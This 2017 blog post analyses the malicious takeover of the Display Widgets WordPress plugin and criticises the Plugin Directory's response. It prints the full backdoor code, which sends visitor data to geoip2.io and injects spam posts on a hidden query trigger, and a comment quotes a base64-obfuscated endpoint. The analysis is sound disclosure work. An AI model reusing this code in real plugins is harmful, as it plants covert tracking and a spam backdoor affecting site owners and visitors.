11 Sep 2017

WordPress’ Poor Handling of Plugin Security Exacerbates Malicious Takeover of Display Widgets

Recently there has been a fair amount of coverage of popular Chrome extensions being modified to include malicious code after the login credentials used to control them in the Chrome Web Store had been compromised through phishing. In the past extensions have been purchased and then malicious code added to them as well. There is no reason that the same thing can’t happen with WordPress plugins and recent similar situation with the plugin Display Widgets shows that the people on the WordPress side of things are not currently up to task of handling this type of situation properly. Unfortunately, this isn’t at all surprising because elements of the failure with this situation are things that we have been seeing and discussing for some time.

What we also found interesting about the situation is that it was made worse by the people on the WordPress side alienating someone who actually did the work they should have done. The cause of that is also something that we have experienced and fixing it was one of things we laid out as something that needed to be worked on being corrected before we would started notifying the Plugin Directory about plugins with publicly known vulnerabilities in the current version of the plugin again. We will discuss that further in a follow up post, but first let’s take a look at what happened with the plugin that lead to malicious code being introduced to many websites.

A New Owner

The plugin Display Widgets, which has 200,000+ active installs according to wordpress.org, was purchased from the original developer in May of this year. Prior to that the last update was in October of 2015 and the plugin was only listed as being compatible with up to WordPress 4.3.

If you want to takeover an abandoned plugin, WordPress has a process for that and they say they might deny a takeover for the following reasons:

  • The requesting developer does not have the experience we feel the plugin requires
  • The requested plugin is deemed high-risk
  • The existing developer is a company or legal entity who owns the trademark
  • The requesting developer has had multiple guideline infractions

If you were to takeover a plugin directly from the developer there is no restriction. In this case the account of the developer on wordpress.org was created the same day they made their first change to the plugin after taking ownership.

A Red Flag

The first release from the new developer sounds highly problematic. Here is how it is described by David Law (the file mentioned is no longer available for download, so we can’t independently confirm this):

What it added was an automated download of another plugin (a geolocation widget: was over 50MB in size!) from a private server!

Automatically installing code from a private server is against the WordPress plugin repository rules.

The new code also connected to another server to track visitors data including:

IP Address (can potentially track you to your street address)
Webpage Visited (URL of the webpages a visitor visited)
Site URL (the URL of the WordPress site the Display Widgets plugin is installed on)
User Agent (which browser the visitors uses etc…)

Automatically tracking user data etc… without the permission of the site owner is against the WordPress plugin repository rules.

David then reported this and action was taken:

I reported the infringements to the plugin repository, simply email them via plugins@wordpress.org and explain what’s you think is wrong.

Version 2.6.0 was removed from the plugin repository. If you are using version 2.6.0 of the Display Widgets Plugin on your site, remove it NOW.

The plugin repository are very understanding, a week or so later the developer released a new version (v2.6.1).

Spam Posts Added

Considering what happened there you would hope the people running the Plugin Directory would have carefully checked the new version of the plugin, but they don’t seem to have. That isn’t all that surprising to us because in the past we have noted that they have returned plugins to the directory despite the vulnerability that caused them to be removed having not been fixed. Making sure that a known vulnerability has been fixed is much easier than making sure there isn’t any malicious code in a plugin, so if you fail at that former, the latter isn’t surprising. Unfortunately we have seen zero interest from the WordPress side to fix this or many of the other issues we have seen with their activity.

In version 2.6.1 there was code added that should have raised the suspicions even without fully understanding what was going on in totality. In particular was the new function check_query_string() in the new file geolocation.php:

86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
public static function check_query_string() {
	$displaywidgets_ids =  get_option( 'displaywidgets_ids', array() );
 
	if ( empty( $displaywidgets_ids[ '__3371_last_checked_3771__' ] ) || intval( date( 'U' ) ) - intval( $displaywidgets_ids[ '__3371_last_checked_3771__' ] ) > 86400 ) {
		$displaywidgets_ids[ '__3371_last_checked_3771__' ] = date( 'U' );
		update_option( 'displaywidgets_ids', $displaywidgets_ids, false );
 
		$request_url = 'http://geoip2.io/api/update/?url=' . urlencode( self::get_protocol() . $_SERVER[ 'HTTP_HOST' ] . $_SERVER[ 'REQUEST_URI' ] ) . '&agent=' . urlencode( self::get_user_agent() ) . '&v=1&p=1&ip=' . urlencode( $_SERVER[ 'REMOTE_ADDR' ] ) . '&siteurl=' . urlencode( get_site_url() );
		$options = stream_context_create( array( 'http' => array( 'timeout' => 10, 'ignore_errors' => true ) ) ); 
		$response = @wp_remote_retrieve_body( @wp_remote_get( $request_url, $options ) );
	}
 
	if ( !empty( $_GET[ 'pwidget' ] ) && !empty( $_GET[ 'action' ] ) && $_GET[ 'pwidget' ] == '3371' ) {
		$message = 'invalid payload';
 
		if ( ( $displaywidgets_ids === false || !is_array( $displaywidgets_ids ) ) && $_GET[ 'action' ] != 'p' ) {
			$message = 'no id found';
		}
		else {
			nocache_headers();
			switch ( $_GET[ 'action' ] ) {
				case 'l':
					if ( is_array( $displaywidgets_ids ) && !empty( $displaywidgets_ids ) ) {
						$message = implode( ',', array_keys( $displaywidgets_ids ) );
					}
					else if ( !empty( $displaywidgets_ids ) ) {
						$message = serialize( $displaywidgets_ids );
					}
					else {
						$message = 'no id found';	
					}
					break;
 
				case 'd':
					if ( isset( $_GET[ 'pnum' ] ) ) {
						if ( isset( $displaywidgets_ids[ $_GET[ 'pnum' ] ] ) ) {
							unset( $displaywidgets_ids[ $_GET[ 'pnum' ] ] );
							update_option( 'displaywidgets_ids', $displaywidgets_ids, false );
							$message = 'deleted ' . $_GET[ 'pnum' ];
						}
						else {
							$message = 'id not found';
						}
					}
					break;
 
				case 'da':
					update_option( 'displaywidgets_ids', array(), false );
					$message = 'deleted all';
					break;
 
				case 'p':
					$request_url = 'http://geoip2.io/api/check/?url=' . urlencode( self::get_protocol() . $_SERVER[ 'HTTP_HOST' ] . $_SERVER[ 'REQUEST_URI' ] ) . '&agent=' . urlencode( self::get_user_agent() ) . '&v=1&p=1&ip=' . urlencode( $_SERVER[ 'REMOTE_ADDR' ] ) . '&siteurl=' . urlencode( get_site_url() );
					$options = stream_context_create( array( 'http' => array( 'timeout' => 10, 'ignore_errors' => true ) ) ); 
					$response = @wp_remote_retrieve_body( @wp_remote_get( $request_url, $options ) );
 
					if ( !empty( $response ) ) {
						$response = @json_decode( $response );
					}
 
					if ( !is_object( $response ) ) {
						break;
					}
 
					$key = $response->purl;
					if ( isset( $_GET [ 'pnum' ] ) ) {
						$key = sanitize_title( $_GET [ 'pnum' ] );
					}
 
					if ( empty( $key ) && !empty( $response->ptitle ) ) {
						$key = sanitize_title( $response->ptitle );
					}
 
					if ( !empty( $key ) ) {
						$displaywidgets_ids[ $key ] = array(
							'post_title' => !empty( $response->ptitle ) ? $response->ptitle : 'A title',
							'post_content' => !empty( $response->pcontent ) ? $response->pcontent : 'Content goes here',
							'post_date' => date( 'Y-m-d H:i:s', rand( intval( date( 'U' ) ) - 2419200, intval( date( 'U' ) ) - 1814400 ) )
						);
						update_option( 'displaywidgets_ids', $displaywidgets_ids, false );
 
						$message = $key . ' | ' . get_bloginfo( 'wpurl' ) . '/' . $key;
					}
					break;
 
				default:
					break;
			}
		}
 
		echo $message;
		die();
	}
}

What should have brought attention to is it that there are requests being made to a remote server, http://geoip2.io in that code.

The rest of the code seems rather odd in a quick look. The code will take different actions based on the GET input “action”:

106
switch ( $_GET[ 'action' ] ) {

Nowhere in the plugin are there any requests that would be handled this code, which seems strange.

What seems to be the most important part of this code is what is run when the “action” is “p”:

137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
case 'p':
	$request_url = 'http://geoip2.io/api/check/?url=' . urlencode( self::get_protocol() . $_SERVER[ 'HTTP_HOST' ] . $_SERVER[ 'REQUEST_URI' ] ) . '&agent=' . urlencode( self::get_user_agent() ) . '&v=1&p=1&ip=' . urlencode( $_SERVER[ 'REMOTE_ADDR' ] ) . '&siteurl=' . urlencode( get_site_url() );
	$options = stream_context_create( array( 'http' => array( 'timeout' => 10, 'ignore_errors' => true ) ) ); 
	$response = @wp_remote_retrieve_body( @wp_remote_get( $request_url, $options ) );
 
	if ( !empty( $response ) ) {
		$response = @json_decode( $response );
	}
 
	if ( !is_object( $response ) ) {
		break;
	}
 
	$key = $response->purl;
	if ( isset( $_GET [ 'pnum' ] ) ) {
		$key = sanitize_title( $_GET [ 'pnum' ] );
	}
 
	if ( empty( $key ) && !empty( $response->ptitle ) ) {
		$key = sanitize_title( $response->ptitle );
	}
 
	if ( !empty( $key ) ) {
		$displaywidgets_ids[ $key ] = array(
			'post_title' => !empty( $response->ptitle ) ? $response->ptitle : 'A title',
			'post_content' => !empty( $response->pcontent ) ? $response->pcontent : 'Content goes here',
			'post_date' => date( 'Y-m-d H:i:s', rand( intval( date( 'U' ) ) - 2419200, intval( date( 'U' ) ) - 1814400 ) )
		);
		update_option( 'displaywidgets_ids', $displaywidgets_ids, false );
 
		$message = $key . ' | ' . get_bloginfo( 'wpurl' ) . '/' . $key;
	}

At first glance it isn’t clear what this code might be doing, but it does seem odd. It seems to us that simply trying to find out what it did from the developer would have lead to the plugin not being restored with that code in it.

What the code looks to be doing is generating a WordPress post and saving it as a WordPress option (setting), which also seems odd.

Where that setting is used is with the function dynamic_page(). That function runs when a set of posts is being generated:

add_filter( 'the_posts', array( 'dw_geolocation_connector', 'dynamic_page' ) );

Here is the code of the function:

181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
public static function dynamic_page( $posts ) {
	if ( is_user_logged_in() ) {
		return $posts;
	}
 
	$displaywidgets_ids =  get_option( 'displaywidgets_ids', array() );
	if ( $displaywidgets_ids === false || !is_array( $displaywidgets_ids ) ) {
		return $posts;
	}
 
	$requested_page_slug = strtolower( $GLOBALS[ 'wp' ]->request );
 
	if ( count( $posts ) == 0 && array_key_exists( $requested_page_slug, $displaywidgets_ids) ) {
		$post = new stdClass;
		$post_date = !empty( $displaywidgets_ids[ $requested_page_slug ][ 'post_date' ] ) ? $displaywidgets_ids[ $requested_page_slug ][ 'post_date' ] : date( 'Y-m-d H:i:s' );
 
		$post->post_title = $displaywidgets_ids[ $requested_page_slug ][ 'post_title' ];
		$post->post_content = $displaywidgets_ids[ $requested_page_slug ][ 'post_content' ];
 
		$post->post_author = 1;
		$post->post_name = $requested_page_slug;
		$post->guid = get_bloginfo( 'wpurl' ) . '/' . $requested_page_slug;
		$post->ID = -3371;
		$post->post_status = 'publish';
		$post->comment_status = 'closed';
		$post->ping_status = 'closed';
		$post->comment_count = 0;
		$post->post_date = $post_date;
		$post->post_date_gmt = $post_date;
 
		$post = (object) array_merge(
			(array) $post, 
			array( 
				'slug' => get_bloginfo( 'wpurl' ) . '/' . $requested_page_slug,
				'post_title' => $displaywidgets_ids[ $requested_page_slug ][ 'post_title' ],
				'post content' => $displaywidgets_ids[ $requested_page_slug ][ 'post_content' ]
			)
		);
 
		$posts = NULL;
		$posts[] = $post;
 
		$GLOBALS[ 'wp_query' ]->is_page = true;
		$GLOBALS[ 'wp_query' ]->is_singular = true;
		$GLOBALS[ 'wp_query' ]->is_home = false;
		$GLOBALS[ 'wp_query' ]->is_archive = false;
		$GLOBALS[ 'wp_query' ]->is_category = false;
		unset( $GLOBALS[ 'wp_query' ]->query[ 'error' ] );
		$GLOBALS[ 'wp_query' ]->query_vars[ 'error' ] = '';
		$GLOBALS[ 'wp_query' ]->is_404 = false;
	}
 
	return $posts;
}

When a request is made by someone that isn’t logged and there are not any posts already included for the request it will add the post from the setting.

What that code been used is to add spam posts to websites.

Removed and Removed

According to David Law there multiple subsequent removals of the plugin, which then returned with the malicious code still in the plugin. This seems like a good example of where more information could have help because when a plugin is removed there is no information given as to why it happened, so there is limited opportunity for others to review things. We also have thought it would be useful for there to be a process for outside of the WordPress team to be able to review changes being made to plugins to fix vulnerabilities (which could also be applied to potentially malicious code), as that increases the chances that if a vulnerability isn’t fully fixed it will be caught, as well as possible leading to additional vulnerabilities being identified.

At this point the plugin is removed again from the directory again and the account of the developer(s) has been banned. That seems like it would have happened if people on WordPress side had treated David Law better, as he explains:

Had I not been unfairly moderated for reporting earlier issues I’d have reported these issues over 6 weeks ago and many of the hacked sites wouldn’t have been hacked (assuming WordPress removed the plugin).

We will discuss that in more depth in a follow up post.

Removing the plugin from the directory doesn’t do anything to protect anyone using the plugin already. One solution would be for WordPress to finally start warning people when they are using plugins with this type of situation, which they so far not done, while at times saying they will. The other option is to release a new version that isn’t vulnerable, which is something that people involved with the Plugin Directory claim to do, but almost never really do, which is something they don’t seem to want that to even be discussed.

More Plugins Impacted?

One of the outstanding questions is who was behind this and if this was an isolated incident.

In one recent thread there was an indication that there were at least two people involved, based on the following:

The other admin here. Unfortunately the addition of the GEO Location made the software vulnerable to a exploit if used in conjunction with other popular plugins.

That obviously could be untrue though.

In another thread it was mentioned that developers were based in the US:

Apologies for the delay. Please consider that it is Independence Day weekend here in the United States, and even plugin developers deserve to spend some quality time with their families, don’t you think?

Though in another thread an email address was given for a UK based domain name:

Instead please contact kevin.danna@wpdevs.co.uk and please provide who ever you contact, with that email address.

On the website for that domain they claim to have 34 plugins with 10 million+ installs:

There is nothing on that website that backs up those claims. If you click the button “34 Plugins & Counting” it takes you the only other page on the website:

The text on that page doesn’t exactly make them sound legitimate:

Is your plugin outdated? Can you not be bothered to respond to the support forum?

Here at wpdevs we would like to offer you money to take away this burden!

That domain name was registered on April 7 of this year and a privacy service is used, so no details are listed for the registrant.

We Are Already Warning

If you were using our service you would have already been warned by now if you were using one of the versions of the plugin that contained the malicious code.

We have also updated the free data that comes with the companion plugin to our service, so that those not using the service are getting warned as well as they update to the new version of our plugin. In what seems like a good example of the poor state of security surrounding WordPress, our plugin is used on a fraction of the websites as other security plugin that don’t really provide any protection.

We are looking to see if there is anything in the code that added to this plugin that might be something that would be useful to watch for as part of the proactive monitoring of vulnerabilities in plugins that we do, which already incorporates checking based on previous instances of intentionally (or possible intentional) malicious code being included in plugins.

Offering to Take Over the Plugin

Over at our main website we recently started offering a service to takeover abandoned plugins, which involves us doing a security review of the plugin, fixing any bugs, and making sure that it is compatible with new versions of WordPress. After we put that together we had the thought that in the future if plugins with vulnerabilities that are being exploited don’t get fixed we would try to take over the plugin to make sure that the damage done by WordPress’ poor handling of the situation is limited.

Hopefully the folks on the WordPress side of things will quickly release a new version of the plugin, which removes the malicious code in it. That could easily been done by simply releasing the version from the before the plugin was taken over with a new version number. If they don’t do that in the next week we will offer to take over the plugin to make sure people are provided with a secured version.

3 thoughts on “WordPress’ Poor Handling of Plugin Security Exacerbates Malicious Takeover of Display Widgets

  1. Since it is possible that they are telling the truth in that claim to having 34 plugins, the plugin directory should be notified about that so that they can scan for other plugins that reference geoip2.io (a Google search didn’t turn anything up, but that doesn’t check the source code, of course). Because it’s possible that they have up to 10+ million sites with backdoors installed if that’s true. And who knows what else they might do with them? They could add arbitrary code execution if they wanted to.

    • While checking for that wouldn’t hurt, it isn’t necessarily going to be very effective. For one thing, if they had other plugins they could be using separate domain names for each one. In the last version of this plugin that they released they started using a different domain, stopspam.io, for the relevant request. They also were obfuscating the usage of that new domain name by base64 encoding it:

      $endpoint = base64_decode( $_update ? ‘aHR0cDovL3N0b3BzcGFtLmlvL2FwaS91cGRhdGUvP3VybD0’ : ‘aHR0cDovL3N0b3BzcGFtLmlvL2FwaS9jaGVjay8/dXJsPQ==’ );

Leave a Reply to Jeffrey Cancel reply

Your email address will not be published. Required fields are marked *